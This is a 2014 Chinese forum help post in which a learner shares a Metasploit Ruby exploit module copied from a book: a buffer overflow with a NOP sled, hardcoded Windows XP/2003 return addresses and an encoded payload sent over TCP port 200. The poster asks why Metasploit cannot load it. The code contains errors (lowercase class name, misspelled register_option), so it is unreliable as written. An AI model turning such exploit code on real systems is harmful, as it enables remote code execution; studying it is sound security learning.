首页
社区
课程
招聘
[求助]问一下这个ruby代码哪儿有问题
发表于: 2014-9-9 10:38 1307

[求助]问一下这个ruby代码哪儿有问题

2014-9-9 10:38
1307
照着exploit的书上面写的,甚至把信息的部分都删了,结果metasploit还是找不出这个脚本。不知道哪里弄错了,在kali下连接win7的服务器程序。

class metasploit3 < Msf::Exploit::Remote
        include Msf::Exploit::Remote::Tcp
        def initialize(info = {})
                super(update_info(info,
                        'Payload' =>{
                                'Space' => 1400,
                                'BadChars'=> "\x00\xff",
                        },
                        'Platform' => 'win',
                        'Targets' =>
                        [
                                ['Windows xp sp3en',
                                   {'Ret' => 0x7c87441c ,'Offset'=>504} ],
                                ['Windows 2003 Server R2 SP2',
                                   {'Ret'=> 0x71c02b67 ,'Offset' =>504} ],
                        ],
                        'DefaultTarget' => 0,
                        'Privileged '=> false
                        )
                )
                register_option([Opt::RPORT(200)],self.class)
        end

        def exploit
                connect
                junk = make_nops(target['Offset'])
                sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
                sock.put(sploit)
                handler
                disconnect
        end
end

我保存的是rb1.rb。
还有就是payload的space和badcode是什么意思。
ip也没有指定, Msf::Exploit::Remote类和Msf::Exploit::Remote::Tcp模块的定义怎么找呢。
byakugan.dll在哪下载呢?

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//